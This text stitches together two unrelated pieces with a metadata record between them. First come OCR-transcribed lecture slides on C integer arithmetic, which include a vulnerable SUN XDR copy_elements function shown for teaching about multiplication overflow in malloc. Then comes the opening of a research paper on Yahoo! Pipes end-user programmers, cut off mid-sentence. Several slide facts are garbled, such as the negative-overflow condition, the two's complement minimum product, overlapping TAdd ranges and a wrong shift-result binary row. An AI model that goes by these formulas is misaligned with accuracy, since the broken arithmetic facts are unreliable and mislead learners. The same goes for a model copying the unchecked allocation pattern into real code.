Abelian Group - **Closed** under addition \[ 0 \leq \text{UAdd}_w(u,v) \leq 2^w - 1 \] - **Commutative** \[ \text{UAdd}_w(u,v) = \text{UAdd}_w(v,u) \] - **Associative** \[ \text{UAdd}_w(t, \text{UAdd}_w(u,v)) = \text{UAdd}_w(\text{UAdd}_w(t,u),v) \] - **0** is additive identity \[ \text{UAdd}_w(u,0) = u \] - Every element has additive inverse - Let \[ \text{UComp}_w(u) = 2^w - u \] \[ \text{UAdd}_w(u, \text{UComp}_w(u)) = 0 \] Two’s Complement Addition Operands: \( w \) bits \[ \begin{array}{c} \begin{array}{c} \text{+} \end{array} \end{array} \] True Sum: \( w + 1 \) bits \[ \begin{array}{c} \begin{array}{c} \text{+} \end{array} \end{array} \] Discard Carry: \( w \) bits \[ \begin{array}{c} \begin{array}{c} \text{TAdd}_w(u, v) \end{array} \end{array} \] - **TAdd** and **UAdd** have identical bit-level behavior - Signed vs. unsigned addition in C: - \[ \text{int } s, t, u, v; \] - \[ s = (\text{int})(\text{unsigned})u + (\text{unsigned})v; \] - \[ t = u + v \] - Will give \( s == t \) - True sum requires $w+1$ bits - Drop off MSB - Treat remaining bits as 2’s complement integer **True Sum** 011...1 $2^w-1$ 0100...0 $2^w-1$ 0000...0 0 1011...1 $-2^{w-1}-1$ 1000...0 $-2^w$ **TAdd Result** 011...1 000...0 100...0 **Visualizing 2’s Complement Addition** - **Values** - 4-bit two’s comp. - Range from -8 to +7 - **Wraps around** - If sum ≥ $2^{w-1}$ - Becomes negative - At most once - If sum < $-2^{w-1}$ - Becomes positive - At most once Characterizing TAdd - Functionality - True sum requires \( w+1 \) bits - Drop off MSB - Treat remaining bits as 2’s complement integer - TAdd\( (u, v) \) function: \[ TAdd_w(u, v) = \begin{cases} u + v + 2^w, & u + v < T\min_w \\ u + v, & T\min_w \leq u + v \leq T\max_w \\ u + v - 2^w, & T\max_w \leq u + v \end{cases} \] - Positive Overflow: - \( u > 0 \) and \( v > 0 \) - Negative Overflow: - \( u < 0 \) or \( v < 0 \) Mathematical Properties of TAdd - Isomorphisic group to unsigned with UAdd \[ TAdd_w(u,v) = U2T(UAdd_w(T2U(u), T2U(v))) \] - Since both have identical bit patterns - Two’s complement under TAdd forms a group - Closed, Commutative, Associative, 0 is additive identity - Every element has additive inverse - Let \[ TComp_w(u) = U2T(UComp_w(T2U(u))) \] \[ TAdd_w(u, TComp_w(u)) = 0 \] \[ TComp_w(u) = \begin{cases} -u & u \neq TMin_w \\ TMin_w & u = TMin_w \end{cases} \] Multiplication Computing exact product of $w$-bit numbers $x, y$ - Either signed or unsigned Ranges - Unsigned: $0 \leq x \times y \leq (2^w - 1)^2 = 2^{2w} - 2^{w+1} + 1$ - Up to $2w$ bits - Two’s complement min: $x \times y \geq (-2^w-1) \times (2^{w-1}-1) = -2^{2w-2} + 2^{w-1}$ - Up to $2w-1$ bits - Two’s complement max: $x \times y \leq (-2^{w-1})^2 = 2^{2w-2}$ - Up to $2w$ bits, but only for $(\text{TMin}_w)^2$ Maintaining exact results - Would need to keep expanding word size with each product computed - Done in software by “arbitrary precision” arithmetic packages # Unsigned Multiplication in C <table> <thead> <tr> <th></th> <th>$u$</th> <th>$v$</th> </tr> </thead> <tbody> <tr> <td>$u \cdot v$</td> <td>$\cdot \cdot \cdot$</td> <td></td> </tr> <tr> <td>$u \cdot v \ast v$</td> <td>$\cdot \cdot \cdot$</td> <td></td> </tr> </tbody> </table> <table> <thead> <tr> <th>Operands: $w$ bits</th> </tr> </thead> <tbody> <tr> <td>$u \cdot v$</td> </tr> <tr> <td>$u \cdot v \ast v$</td> </tr> </tbody> </table> <table> <thead> <tr> <th>True Product: $2w$ bits</th> </tr> </thead> <tbody> <tr> <td>$\cdot \cdot \cdot$</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Discard: $w$ bits</th> </tr> </thead> <tbody> <tr> <td>UMult$_w(u, v)$</td> </tr> </tbody> </table> - **Standard multiplication function** - Ignores high order $w$ bits - **Implements modular arithmetic** - $\text{UMult}_w(u, v) = u \cdot v \mod 2^w$ **Code Security Example #2** - **SUN XDR library** - Widely used library for transferring data between machines ```c void* copy_elements(void *ele_src[], int ele_cnt, size_t ele_size); ``` - `malloc(ele_cnt*ele_size)` void* copy_elements(void *ele_src[], int ele_cnt, size_t ele_size) { /* * Allocate buffer for ele_cnt objects, each of ele_size bytes * and copy from locations designated by ele_src */ void *result = malloc(ele_cnt * ele_size); if (result == NULL) /* malloc failed */ return NULL; void *next = result; int i; for (i = 0; i < ele_cnt; i++) { /* Copy object i to destination */ memcpy(next, ele_src[i], ele_size); /* Move pointer to next memory region */ next += ele_size; } return result; } What if: - $ele\_cnt = 2^{20} + 1$ - $ele\_size = 4096 = 2^{12}$ - Allocation = ?? How can I make this function secure? ## Signed Multiplication in C **Operands:** $w$ bits **True Product:** $2w$ bits **Discard:** $w$ bits ### Standard Multiplication Function - Ignores high order $w$ bits - Some of which are different for signed vs. unsigned multiplication - Lower bits are the same <table> <thead> <tr> <th>$u$</th> <th>$v$</th> </tr> </thead> <tbody> <tr> <td>$u \cdot v$</td> <td>$\ast v$</td> </tr> <tr> <td>$\text{T Mult}_w(u,v)$</td> <td></td> </tr> </tbody> </table> UNSIGNED VS. SIGNED MULTIPLICATION ► Unsigned multiplication unsigned ux = (unsigned) x; unsigned uy = (unsigned) y; unsigned up = ux * uy ○ Truncates product to w-bit number up = UMultw(ux, uy) ○ Modular arithmetic up = ux * uy mod 2^w ► Two’s Complement Multiplication int x, y; int p = x * y; ○ Compute exact product of two w-bit numbers x, y ○ Truncate result to w-bit number p = TMultw(x, y) # Power-of-2 Multiply with Shift **Operation** - $u \ll k$ gives $u \cdot 2^k$ - Both signed and unsigned <table> <thead> <tr> <th>Operands: $w$ bits</th> <th>$u \cdot 2^k$</th> <th>True Product: $w+k$ bits</th> </tr> </thead> <tbody> <tr> <td></td> <td>$u$</td> <td>$u \cdot 2^k$</td> </tr> <tr> <td></td> <td>$k$</td> <td>$0 \ldots 010 \ldots 00$</td> </tr> <tr> <td></td> <td>$u$</td> <td>$u \cdot 2^k$</td> </tr> <tr> <td></td> <td>$k$</td> <td>$0 \ldots 010 \ldots 00$</td> </tr> </tbody> </table> **Examples** - $u \ll 3 == u \cdot 8$ - $u \ll 5 - u \ll 3 == u \cdot 24$ - Most machines shift and add faster than multiply - Compiler generates this code automatically C compiler automatically generates shift/add code when multiplying by constant C Function ```c int mul12(int x) { return x*12; } ``` Compiled Arithmetic Operations ```c leal (%eax,%eax,2), %eax sall $2, %eax ``` Explanation ``` t <- x+x*2 return t << 2; ``` **Unsigned Power-of-2 Divide with Shift** - Quotient of unsigned by power of 2 - \( u \gg k \) gives \( \lfloor u / 2^k \rfloor \) - Uses logical shift ### Division: <table> <thead> <tr> <th>Operands:</th> <th>Division:</th> <th>Result:</th> </tr> </thead> <tbody> <tr> <td>( u )</td> <td>( \lfloor u / 2^k \rfloor )</td> <td>( \lfloor u / 2^k \rfloor )</td> </tr> <tr> <td>( / 2^k )</td> <td>( 0 \ldots 010 \ldots 00 )</td> <td>( 0 \ldots 00 \ldots )</td> </tr> <tr> <td>( u / 2^k )</td> <td>( 0 \ldots 00 \ldots )</td> <td>( 0 \ldots 00 \ldots )</td> </tr> </tbody> </table> ### Table: <table> <thead> <tr> <th>( x )</th> <th>Division</th> <th>Computed</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>x</td> <td>15213</td> <td>15213</td> <td>3B 6D</td> <td>00111011 01101101</td> </tr> <tr> <td>x ( \gg 1 )</td> <td>7606.5</td> <td>7606</td> <td>1D B6</td> <td>00011101 10110110</td> </tr> <tr> <td>x ( \gg 4 )</td> <td>950.8125</td> <td>950</td> <td>03 B6</td> <td>00000001 10110110</td> </tr> <tr> <td>x ( \gg 8 )</td> <td>59.4257813</td> <td>59</td> <td>00 3B</td> <td>00000000 00111011</td> </tr> </tbody> </table> C Function ```c unsigned udiv8(unsigned x) { return x/8; } ``` Compiled Arithmetic Operations - `shrl $3, %eax` Explanation - `# Logical shift return x >> 3;` - Uses logical shift for unsigned - For Java Users - Logical shift written as `>>>` Quotient of Signed by Power of 2 - $x \gg k$ gives $\lfloor x / 2^k \rfloor$ - Uses arithmetic shift - Rounds wrong direction when $u < 0$ **Division:** $$ x / 2^k $$ **Operands:** <table> <thead> <tr> <th>Division</th> <th>Computed</th> <th>Hex</th> <th>Binary</th> </tr> </thead> <tbody> <tr> <td>$y$</td> <td>-15213</td> <td>C4 93</td> <td>11000100 10010011</td> </tr> <tr> <td>$y \gg 1$</td> <td>-7606.5</td> <td>E2 49</td> <td>11100010 01001001</td> </tr> <tr> <td>$y \gg 4$</td> <td>-950.8125</td> <td>FC 49</td> <td>11111100 01001001</td> </tr> <tr> <td>$y \gg 8$</td> <td>-59.4257813</td> <td>FF C4</td> <td>11111111 11000100</td> </tr> </tbody> </table> **Correct Power-of-2 Divide** - **Quotient of Negative Number by Power of 2** - Want \([x \ / \ 2^k]\) (Round Toward 0) - \([x \ / \ y] == \lfloor (x + y - 1)/y \rfloor\) - \([x \ / \ 2^k] == \lfloor (x + 2^k - 1)/2^k \rfloor\) - Compute as \([x + 2^k - 1]/2^k\) - In C: \((x + (1<<k)-1) >> k\) - Biases dividend toward 0 - **Case 1: No rounding** <table> <thead> <tr> <th>Bias:</th> <th>Dividend:</th> <th>Divisor:</th> <th>([u \ / \ 2^k])</th> </tr> </thead> <tbody> <tr> <td>(+2^k-1)</td> <td>(1\ldots\ 01\ldots\ 11)</td> <td>(0\ldots\ 01\ldots\ 00)</td> <td>(1\ldots\ 11\ldots\ 00)</td> </tr> </tbody> </table> **Biasing has no effect** **Case 2: Rounding** - **Dividend:** $x + 2^k - 1$ - **Divisor:** $2^k$ - **Result:** $\left\lfloor \frac{x}{2^k} \right\rfloor$ - **Binary Point:** Incremented by 1 - **Biasing adds 1 to final result** **Compiled Signed Division Code** C Function ```c int idiv8(int x) { return x/8; } ``` - Uses arithmetic shift for `int` - For Java Users - Arithmetic shift written as `>>` Compiled Arithmetic Operations ```assembly testl %eax, %eax js L4 L3: sarl $3, %eax ret L4: addl $7, %eax jmp L3 ``` Explanation ```assembly if x < 0 x += 7; # Arithmetic shift return x >> 3; ``` **Arithmetic: Basic Rules** ▶ **Addition:** - Unsigned/signed: Normal addition followed by truncate, same operation on bit level - Unsigned: addition $\text{mod } 2^w$ - Mathematical addition + possible subtraction of $2^w$ - Signed: modified addition $\text{mod } 2^w$ (result in proper range) - Mathematical addition + possible addition or subtraction of $2^w$ ▶ **Multiplication:** - Unsigned/signed: Normal multiplication followed by truncate, same operation on bit level - Unsigned: multiplication $\text{mod } 2^w$ - Signed: modified multiplication $\text{mod } 2^w$ (result in proper range) **Arithmetic: Basic Rules** - **Unsigned ints, 2’s complement ints are isomorphic rings:** isomorphism = casting - **Left shift** - Unsigned/signed: multiplication by $2^k$ - Always logical shift - **Right shift** - Unsigned: logical shift, div (division + round to zero) by $2^k$ - Signed: arithmetic shift - Positive numbers: div (division + round to zero) by $2^k$ - Negative numbers: div (division + round away from zero) by $2^k$ Use biasing to fix Today: Integers - Representation: unsigned and signed - Conversion, casting - Expanding, truncating - Addition, negation, multiplication, shifting - Summary Properties of Unsigned Arithmetic Unsigned multiplication with addition forms commutative ring - Addition is commutative group - Closed under multiplication \[ 0 \leq UMultw(u,v) \leq 2^w -1 \] - Multiplication Commutative \[ UMultw(u,v) = UMultw(v,u) \] - Multiplication is Associative \[ UMultw(t,UMultw(u,v)) = UMultw(UMultw(t,u),v) \] - 1 is multiplicative identity \[ UMultw(u,1) = u \] - Multiplication distributes over addition \[ UMultw(t,UAddw(u,v)) = UAddw(UMultw(t,u),UMultw(t,v)) \] Properties of Two’s Comp. Arithmetic - Isomorphichic algebras - Unsigned multiplication and addition - Truncating to $w$ bits - Two’s complement multiplication and addition - Truncating to $w$ bits - Both form rings - Isomorphic to ring of integers $\mod 2^w$ - Comparison to (mathematical) integer arithmetic - Both are rings - Integers obey ordering properties, e.g., \[ u > 0 \quad \Rightarrow \quad u + v > v \] \[ u > 0, \quad v > 0 \quad \Rightarrow \quad u \cdot v > 0 \] - These properties are not obeyed by two’s comp. arithmetic \[ T_{\text{Max}} + 1 \quad == \quad T_{\text{Min}} \] \[ 15213 \times 30426 == -10030 \quad (16\text{-bit words}) \] Why Should I Use Unsigned? - Practice Problem 2.23 - **Don’t** use just because number nonnegative - Easy to make mistakes ```c unsigned i; for (i = cnt-2; i >= 0; i--) a[i] += a[i+1]; ``` - Can be very subtle ```c #define DELTA sizeof(int) int i; for (i = CNT; i-DELTA >= 0; i-= DELTA) ``` - **Do** use when performing modular arithmetic - Multiprecision arithmetic - **Do** use when using bits to represent sets - Logical right shift, no sign extension **Integer C Puzzles** - \( x < 0 \) \( \implies \) \((x*2) < 0\) - \( ux \geq 0 \) - \( x & 7 == 7 \) \( \implies \) \((x<<30) < 0\) - \( ux > -1 \) - \( x > y \) \( \implies \) \(-x < -y\) - \( x * x \geq 0 \) - \( x > 0 \) \&\& \( y > 0 \) \( \implies \) \( x + y > 0 \) - \( x >= 0 \) \( \implies \) \(-x \leq 0\) - \( x <= 0 \) \( \implies \) \(-x \geq 0\) - \( (x|-x)>>31 == -1 \) - \( ux >> 3 == ux/8 \) - \( x >> 3 == x/8 \) - \( x & (x-1) != 0 \) **Initialization** \[ \begin{align*} \text{int } x &= \text{foo}(); \\ \text{int } y &= \text{bar}(); \\ \text{unsigned } ux &= x; \\ \text{unsigned } uy &= y; \end{align*} \]
{"Source-Url": "http://csl.skku.edu/uploads/SWE2001S14/2-bits-ints.pdf", "len_cl100k_base": 14791, "olmocr-version": "0.1.53", "pdf-total-pages": 83, "total-fallback-pages": 0, "total-input-tokens": 148264, "total-output-tokens": 16796, "length": "2e13", "weborganizer": {"__label__adult": 0.00034546852111816406, "__label__art_design": 0.0004775524139404297, "__label__crime_law": 0.0002956390380859375, "__label__education_jobs": 0.0017995834350585938, "__label__entertainment": 0.0001029372215270996, "__label__fashion_beauty": 0.00016009807586669922, "__label__finance_business": 0.00038504600524902344, "__label__food_dining": 0.0004968643188476562, "__label__games": 0.0009603500366210938, "__label__hardware": 0.0037326812744140625, "__label__health": 0.000576019287109375, "__label__history": 0.00034809112548828125, "__label__home_hobbies": 0.00015926361083984375, "__label__industrial": 0.0009899139404296875, "__label__literature": 0.00032973289489746094, "__label__politics": 0.0003120899200439453, "__label__religion": 0.0006418228149414062, "__label__science_tech": 0.1497802734375, "__label__social_life": 0.0001074671745300293, "__label__software": 0.01091766357421875, "__label__software_dev": 0.826171875, "__label__sports_fitness": 0.0002930164337158203, "__label__transportation": 0.0006041526794433594, "__label__travel": 0.0001882314682006836}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34988, 0.06857]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34988, 0.2129]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34988, 0.6199]], "google_gemma-3-12b-it_contains_pii": [[0, 230, false], [230, 477, null], [477, 500, null], [500, 784, null], [784, 1242, null], [1242, 1778, null], [1778, 1910, null], [1910, 2078, null], [2078, 2773, null], [2773, 3142, null], [3142, 3691, null], [3691, 4327, null], [4327, 4692, null], [4692, 4858, null], [4858, 5334, null], [5334, 5433, null], [5433, 6010, null], [6010, 6564, null], [6564, 7384, null], [7384, 7631, null], [7631, 8037, null], [8037, 8347, null], [8347, 8776, null], [8776, 9149, null], [9149, 9632, null], [9632, 10166, null], [10166, 10541, null], [10541, 10788, null], [10788, 11274, null], [11274, 11898, null], [11898, 12577, null], [12577, 13285, null], [13285, 14148, null], [14148, 14397, null], [14397, 14496, null], [14496, 15065, null], [15065, 15634, null], [15634, 15981, null], [15981, 16050, null], [16050, 16468, null], [16468, 17642, null], [17642, 17852, null], [17852, 18106, null], [18106, 18504, null], [18504, 18945, null], [18945, 19089, null], [19089, 19524, null], [19524, 19841, null], [19841, 20096, null], [20096, 20350, null], [20350, 20654, null], [20654, 21223, null], [21223, 21725, null], [21725, 21886, null], [21886, 22094, null], [22094, 22637, null], [22637, 23233, null], [23233, 23467, null], [23467, 23718, null], [23718, 24171, null], [24171, 24661, null], [24661, 25255, null], [25255, 25873, null], [25873, 26096, null], [26096, 26673, null], [26673, 26795, null], [26795, 27147, null], [27147, 27558, null], [27558, 28236, null], [28236, 28504, null], [28504, 29419, null], [29419, 29674, null], [29674, 30170, null], [30170, 30773, null], [30773, 30993, null], [30993, 31399, null], [31399, 32003, null], [32003, 32486, null], [32486, 32644, null], [32644, 33151, null], [33151, 33847, null], [33847, 34355, null], [34355, 34988, null]], "google_gemma-3-12b-it_is_public_document": [[0, 230, true], [230, 477, null], [477, 500, null], [500, 784, null], [784, 1242, null], [1242, 1778, null], [1778, 1910, null], [1910, 2078, null], [2078, 2773, null], [2773, 3142, null], [3142, 3691, null], [3691, 4327, null], [4327, 4692, null], [4692, 4858, null], [4858, 5334, null], [5334, 5433, null], [5433, 6010, null], [6010, 6564, null], [6564, 7384, null], [7384, 7631, null], [7631, 8037, null], [8037, 8347, null], [8347, 8776, null], [8776, 9149, null], [9149, 9632, null], [9632, 10166, null], [10166, 10541, null], [10541, 10788, null], [10788, 11274, null], [11274, 11898, null], [11898, 12577, null], [12577, 13285, null], [13285, 14148, null], [14148, 14397, null], [14397, 14496, null], [14496, 15065, null], [15065, 15634, null], [15634, 15981, null], [15981, 16050, null], [16050, 16468, null], [16468, 17642, null], [17642, 17852, null], [17852, 18106, null], [18106, 18504, null], [18504, 18945, null], [18945, 19089, null], [19089, 19524, null], [19524, 19841, null], [19841, 20096, null], [20096, 20350, null], [20350, 20654, null], [20654, 21223, null], [21223, 21725, null], [21725, 21886, null], [21886, 22094, null], [22094, 22637, null], [22637, 23233, null], [23233, 23467, null], [23467, 23718, null], [23718, 24171, null], [24171, 24661, null], [24661, 25255, null], [25255, 25873, null], [25873, 26096, null], [26096, 26673, null], [26673, 26795, null], [26795, 27147, null], [27147, 27558, null], [27558, 28236, null], [28236, 28504, null], [28504, 29419, null], [29419, 29674, null], [29674, 30170, null], [30170, 30773, null], [30773, 30993, null], [30993, 31399, null], [31399, 32003, null], [32003, 32486, null], [32486, 32644, null], [32644, 33151, null], [33151, 33847, null], [33847, 34355, null], [34355, 34988, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34988, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34988, null]], "pdf_page_numbers": [[0, 230, 1], [230, 477, 2], [477, 500, 3], [500, 784, 4], [784, 1242, 5], [1242, 1778, 6], [1778, 1910, 7], [1910, 2078, 8], [2078, 2773, 9], [2773, 3142, 10], [3142, 3691, 11], [3691, 4327, 12], [4327, 4692, 13], [4692, 4858, 14], [4858, 5334, 15], [5334, 5433, 16], [5433, 6010, 17], [6010, 6564, 18], [6564, 7384, 19], [7384, 7631, 20], [7631, 8037, 21], [8037, 8347, 22], [8347, 8776, 23], [8776, 9149, 24], [9149, 9632, 25], [9632, 10166, 26], [10166, 10541, 27], [10541, 10788, 28], [10788, 11274, 29], [11274, 11898, 30], [11898, 12577, 31], [12577, 13285, 32], [13285, 14148, 33], [14148, 14397, 34], [14397, 14496, 35], [14496, 15065, 36], [15065, 15634, 37], [15634, 15981, 38], [15981, 16050, 39], [16050, 16468, 40], [16468, 17642, 41], [17642, 17852, 42], [17852, 18106, 43], [18106, 18504, 44], [18504, 18945, 45], [18945, 19089, 46], [19089, 19524, 47], [19524, 19841, 48], [19841, 20096, 49], [20096, 20350, 50], [20350, 20654, 51], [20654, 21223, 52], [21223, 21725, 53], [21725, 21886, 54], [21886, 22094, 55], [22094, 22637, 56], [22637, 23233, 57], [23233, 23467, 58], [23467, 23718, 59], [23718, 24171, 60], [24171, 24661, 61], [24661, 25255, 62], [25255, 25873, 63], [25873, 26096, 64], [26096, 26673, 65], [26673, 26795, 66], [26795, 27147, 67], [27147, 27558, 68], [27558, 28236, 69], [28236, 28504, 70], [28504, 29419, 71], [29419, 29674, 72], [29674, 30170, 73], [30170, 30773, 74], [30773, 30993, 75], [30993, 31399, 76], [31399, 32003, 77], [32003, 32486, 78], [32486, 32644, 79], [32644, 33151, 80], [33151, 33847, 81], [33847, 34355, 82], [34355, 34988, 83]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34988, 0.22566]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
1eccd2827809f8978adb641e85608edde8a0b9c3
End-User Programmers and their Communities: An Artifact-based Analysis Kathryn T. Stolee *University of Nebraska-Lincoln*, kstolee@cse.unl.edu Sebastian Elbaum *University of Nebraska-Lincoln*, selbaum@virginia.edu Anita Sarma *University of Nebraska-Lincoln*, asarma@cse.unl.edu Follow this and additional works at: [http://digitalcommons.unl.edu/cseconfwork](http://digitalcommons.unl.edu/cseconfwork) End-User Programmers and their Communities: An Artifact-based Analysis Kathryn T. Stolee, Sebastian Elbaum, and Anita Sarma Department of Computer Science and Engineering University of Nebraska – Lincoln Lincoln, NE, U.S.A. {kstolee, elbaum, asarma}@cse.unl.edu Abstract—End-user programmers outnumber professionals programmers, write software that matters to an increasingly large number of users, and face software engineering challenges that are similar to their professionals counterparts. Yet, we know little about how these end-user programmers create and share artifacts as part of a community. To gain a better understanding of these issues, we perform an artifact-based community analysis of 32,000 mashups from the Yahoo! Pipes repository. We observed that, like with other online communities, there is great deal of attrition but authors that persevere tend to improve over time, creating pipes that are more configurable, diverse, complex, and popular. We also discovered, however, that end-user programmers employ the repository in different ways than professionals, do not effectively reuse existing programs, and in most cases do not have an awareness of the community. We discuss the implications of these findings. Keywords—end-user programmers, community analysis, artifact repositories I. INTRODUCTION The population of end-user programmers is quickly overwhelming that of professional programmers. In 2005 there were an estimated 55 million end-user programmers and 3 million of professional programmers in the United States. The number of end users was projected to increase to 90 million in 2012 with 13 million describing themselves as programmers [1], but it is not just their numbers that matter. Despite their lack of computer science education, end-user programmers are increasingly creating programs that are meaningful and have consequences not just to them or the businesses for which they work (e.g., a spreadsheet formula error reportedly cost a company millions of dollars [2]), but also for emerging online communities. These communities are growing rapidly, exist in many domains, and facilitate knowledge sharing and code reuse. For example, the public repositories of mashups in Yahoo! Pipes [3], web page modification scripts in Userscripts [4], and animations in Scratch [5] have tens of thousands of program artifacts submitted by tens of thousands of users. As they develop software, these end-user programmers confront some of the same challenges as professional developers and their communities. For example, as individuals, they need to configure sample code to run in their environments, use new APIs, or find a fault causing a failure. As a group, they need to learn how to build on, share, and contribute to the community. Yet, our understanding of the challenges, motivations, and needs of these end-user programmers and their communities is quite limited. Studies of online end-user communities have sought to characterize the participants roles using social evidence [6], but little is known about the type, quantity, and quality of artifacts contributed, and how end users and their contributions evolve over time. Building on the success of studies of open source communities through public archives (e.g., [7] [8] [9]) this work aims to provide a better understanding of end-user programmers in a community setting. We perform a study of over 32,000 programs submitted to the Yahoo! Pipes public repository, characterizing the artifacts and using them to draw inferences about author behavior, skill levels, and community awareness. Specifically, we address three general research questions: What are the characteristics of the Yahoo! Pipes community? What are the differences in pipe characteristics as authors gain experience? and What are the characteristics of the most prolific authors? Our findings reveal that, like with other online communities, there is great deal of attrition as over 81% of the authors we studied are active (i.e., contribute artifact(s) to the repository) for only one day. We also observe that the authors who persevere tend to improve over time, creating pipes that are more configurable, diverse, complex, and popular. We also discovered, however, that end-user programmers employ the repository in different ways than professionals. Approximately half of the most prolific authors usually create pipes that are very similar to pipes they had created in the past, causing the repository to be full of duplication. Additionally, authors do not effectively reuse programs in the repository, and in most cases do not demonstrate an awareness of the community; only 30% of the authors regularly submit pipes that are highly unique compared to other pipes in the repository. II. RELATED WORK Two areas of related work require discussion: end-user programmers and studies on socio-technical communities with artifact repositories. A. End-user Programmers End-user programmers create programs and engage in programming activities to support their hobbies and work. What differentiates end-user programmers from professional programmers is that to end users, software is a means to an end, not the end itself [10]. These end users utilize programming environments and languages such as spreadsheets, databases, web macros, mashups, and many domain-specific scripting languages, many of which have large public repositories (e.g., [3] [4] [5]). Unlike professional programmers, end-user programmers do not have much support for all stages of the software lifecycle, and may have a different lifecycle than that which is used by other types of programmers. Studying end-user programmers can reveal their needs, and researchers and practitioners have started applying software engineering techniques to provide support for end users’ tasks. For example, version control has been introduced to help end users during development [11] [12], debugging has been introduced to allow users to ask questions about output during development [13] or preview program output during testing [3], assertions have been used to increase the dependability of web macros during runtime [14], and strides have been made toward providing better program maintenance through refactoring support [15]. However, software engineering support is far from pervasive in end-user programming environments. Repositories provide a mechanism for end-user programmers to share code and learn from the experiences of others, and tend to attract many participants to the communities. For example, Yahoo! Pipes has over 90,000 users [6], Userscripts has over 57,000 users [4], and Scratch has over 500,000 users [16]. Beyond the number of participants, the repositories maintained by these communities contain thousands of public artifacts. For example, the Yahoo! Pipes repository contains over 92,400 artifacts [3], the Userscripts repository contains over 57,200 scripts [4], and the Scratch website contains over 47,800 galleries with as many as 1,944 projects per gallery [5]. B. Studies on Communities Researchers in software engineering and computer supported cooperative-work have sought to understand the motivations and social organizations of developer communities. Research on communities with public artifact repositories has been particularly successful in open-source (e.g., [7] [8]), and researchers are beginning to leverage repositories to also study end-user programmer communities (e.g., [6] [16]). Here, we consider previous work that explores how developers join these communities and social factors that govern their contributions. Becoming an active member of an open source project is meritocratic; joiners start at low technical skill and low responsibility roles, such as participating in the mailing list, and move to more central roles as they gain more experience learning [7] [8] [9]. Contrastingly, becoming an active member in many end-user programmer communities seems to be universally accessible. Contributors are typically not required to demonstrate any expertise to participate. In open source communities, most communication and project activities are archived through mailing lists, bug discussions, bug activities, versioning systems [7]. End-user communities, on the other hand, have been observed to communicate through user comments associated with artifacts [16] and public message boards [6]. These differences in communication mechanisms may be rooted in fundamental differences between the groups, where generally the open-source programmers work toward a common goal and end-user programmers work toward individual goals [10]. Power law relationships have been shown to hold on open-source project sizes, the number of developers per project, and project memberships (number of projects joined by a developer). This is largely because of social relations, where members like to join projects that are already popular or join projects where they know some of the key players [17]. Yet for end-user communities, and specifically for Yahoo! Pipes – the particular subject of our study – the social factors may be different. Previous work has explored the nature of participation in the Yahoo! Pipes message boards [6], but little is known about the organization, participation, and growth patterns for the participants who contribute to the public artifact repository. III. About Mashups and Yahoo! Pipes The Yahoo! Pipes community is among the largest end-user programmer communities that has emerged in recent years. Released in 2007, the Pipes environment provides language and development support for the creation of web mashups. A mashup is an application that manipulates and composes existing data sources or functionality to create a new piece of data or service that can be plugged into a web page or integrated into an RSS feed aggregator. One common type of mashup, for example, consists of grabbing data from some data sources (e.g., house sales, vote records, bike trails, map data), joining those data sets, filtering them according to a criterion, and plotting them on a map published at a site [18]. This type of behavior is naturally expressed on Yahoo! Pipes, as shown in Figure 1, which provides an example of the Pipes Editor, the Yahoo! Pipes development environment, and shows a pipe taken from the community that plots home sale information on a map. The structure of a pipe resembles a graph, where the nodes are referred to as modules (boxes in the figure), and the edges are referred to as wires (connections between the modules). The behavior of the pipe can be best understood from top to bottom, as the data flows in a directional manner from the top of the pipe through the output at the 148 bottom. At the top is a module named Fetch Feed, which accesses external data sources and provides data to the pipe; this module contains two fields, each specifying a different website. The Fetch Feed module feeds data to a Filter module, which removes data from the feed based on the specified criteria. In the example, the filter module permits data that matches any of the four specified criteria. Next, a Location Extractor module geotags the data, allowing it to be plotted on a map. Lastly, the data flows to an Output module, the final module for any pipe. An author can create a pipe from scratch or by cloning an existing pipe. Once a pipe has been created, it can be shared with the community; all pipe authors are free to contribute to the public repository. An author can commit any of their own pipes by clicking the publish button from a pipe’s information page (accessible by clicking the Run Pipe... link from the Pipes Editor, shown at the top of Figure 1). IV. STUDY Through exploration of the Yahoo! Pipes repository, we have identified several research questions and conducted an empirical study to assess those questions. A. Research Question We pose three broad research questions in this work. The first is about the community at large, the second is about pipe characteristics as authors gain experience, and the third is about the characteristics of the most prolific (most contributing) authors in the Yahoo! Pipes community. RQ1: What are the characteristics of the Yahoo! Pipes community? - RQ1a: How much attrition is there among the authors in the community? - RQ1b: How much do authors typically contribute? - RQ1c: What are the general characteristics of the pipes in the community, considering structural diversity, popularity, size, and configurability? RQ2: How do pipe characteristics change as the authors gain experience? - RQ2a: What are the differences between pipes contributed when authors are new to the community versus when they have been involved for a determined amount of time? - RQ2b: What are the differences between pipes contributed by authors with few contributions versus those contributed by authors with many contributions? We view the most prolific authors as those who have the greatest impact on the repository in terms of quantity. This leads us to explore characteristics of these authors’ contributions: RQ3: What are the characteristics of the pipes created by the most prolific authors? That is, how different are a prolific author’s contributed pipes compared to their previous contributions and the pipes in the community? - RQ3a: What implications does the uniqueness of an author’s contributions have for the types of activities in which the author engages? - RQ3b: What implications does the uniqueness of an author’s contributions over time have for an author’s evolution in terms of skill level and the value provided to the community? - RQ3c: What implications does the uniqueness of an author’s 